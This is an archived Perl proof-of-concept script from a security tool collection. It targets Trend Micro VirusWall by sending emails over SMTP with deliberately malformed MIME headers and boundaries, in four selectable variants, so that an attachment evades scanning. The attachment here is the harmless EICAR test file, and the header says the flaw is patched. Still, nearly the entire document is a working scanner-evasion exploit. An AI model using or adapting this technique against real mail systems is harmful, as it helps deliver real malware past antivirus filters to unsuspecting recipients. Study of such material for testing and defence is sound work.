home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / antivirus / trendmicro / viruswall-space-gap.pl < prev   
Perl Script  |  2005-02-12  |  3KB  |  111 lines

  1. #!/usr/bin/perl
  2.  
  3. # The following code generates a malformed email with an EICAR attachment(False Virus).
  4. # The vulnerability has been found to be present in TrendMicro's VirusWall, and has been now patched.
  5. # Refer to http://solutionbank.antivirus.com/solutions/solutionsearch.asp solution ID 11948
  6. #
  7. # BeyondSecurity's SecurITeam, Copyrighted Material, for Testing Purposes only. For more information see:
  8. # http://www.securiteam.com/securitynews/5KP000A7QE.html
  9.  
  10. use Getopt::Std;
  11. use IO::Socket::INET;
  12.  
  13. getopt('tfhvsb');
  14.  
  15. if (!$opt_f || !$opt_t || !$opt_h)
  16. {
  17.   print "Usage: malformed_email.pl <-t to> <-f from> <-h smtphost> [-v
  18. variant] [-s subject] [-b text]\nVariants:\n(1) Content-Type\n(2) Content
  19. Transfer Encoding\n(3) Boundary Space (trailing)\n(4) Boundary Space
  20. (prefix)\n";
  21.   exit;
  22. }
  23. $sock = IO::Socket::INET->new(PeerAddr => "$opt_h",PeerPort => '25', Proto
  24. => 'tcp');
  25. unless (<$sock> =~ "220") { die "Not a SMTP Server?" }
  26. print $sock "HELO you\r\n";
  27. unless (<$sock> =~ "250") { die "HELO failed" }
  28. print $sock "MAIL FROM:<$opt_f>\r\n";
  29. unless (<$sock> =~ "250") { die "MAIL FROM failed" }
  30. print $sock "RCPT TO:<$opt_t>\r\n";
  31. unless (<$sock> =~ "250") { die "RCPT TO failed" }
  32. print $sock "DATA\r\n";
  33. unless (<$sock> =~ "354") { die "DATA failed" }
  34.  
  35. if ($opt_v eq "1")
  36. {
  37.  $content_type = "Content-Type :";
  38. }
  39. else
  40. {
  41.  $content_type = "Content-Type:";
  42. }
  43.  
  44. if ($opt_v eq "2")
  45. {
  46.  $content_transfer_encoding = "Content-Transfer-Encoding :";
  47. }
  48. else
  49. {
  50.  $content_transfer_encoding = "Content-Transfer-Encoding:";
  51. }
  52.  
  53. if ($opt_v eq "3")
  54. {
  55.  $boundary = "boundary=----=_NextPart_000_000E_01C2100B.F369D840 ";
  56. }
  57. else
  58. {
  59.  if ($opt_v eq "4")
  60.  {
  61.   $boundary = "boundary= ----=_NextPart_000_000E_01C2100B.F369D840";
  62.  }
  63.  else
  64.  {
  65.   $boundary = "boundary=\"----=_NextPart_000_000E_01C2100B.F369D840\"";
  66.  }
  67. }
  68.  
  69. print $sock <<EOF;
  70. From: $opt_f
  71. To: $opt_t
  72. Subject: $opt_s
  73. MIME-Version: 1.0
  74. $content_type multipart/mixed;
  75.   $boundary
  76. X-Priority: 3
  77. X-MSMail-Priority: Normal
  78. X-Mailer: Microsoft Outlook Express 5.50.4807.1700
  79. X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
  80.  
  81. This is a multi-part message in MIME format.
  82.  
  83. ------=_NextPart_000_000E_01C2100B.F369D840
  84. Content-Type: text/plain;
  85.   charset="iso-8859-1"
  86. Content-Transfer-Encoding: 7bit
  87.  
  88. $opt_b
  89.  
  90. ------=_NextPart_000_000E_01C2100B.F369D840
  91. $content_type application/x-zip-compressed;
  92.   name="eicar_com.zip"
  93. $content_transfer_encoding base64
  94. Content-Disposition: attachment;
  95.   filename="eicar_com.zip"
  96.  
  97. UEsDBAoAAAAAAOCYuCg8z1FoRAAAAEQAAAAJAAAAZWljYXIuY29tWDVPIVAlQEFQWzRcUFpYNTQo
  98. UF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCpQSwECFAAK
  99. AAAAAADgmLgoPM9RaEQAAABEAAAACQAAAAAAAAABACAA/4EAAAAAZWljYXIuY29tUEsFBgAAAAAB
  100. AAEANwAAAGsAAAAAAA==
  101. ------=_NextPart_000_000E_01C2100B.F369D840--
  102. \n.\n
  103. EOF
  104.  
  105. print "Finished sending data\n";
  106. print "Variant #$opt_v\n";
  107.  
  108. $a = <$sock>;
  109. print "$a\n";
  110.  
  111. close($sock);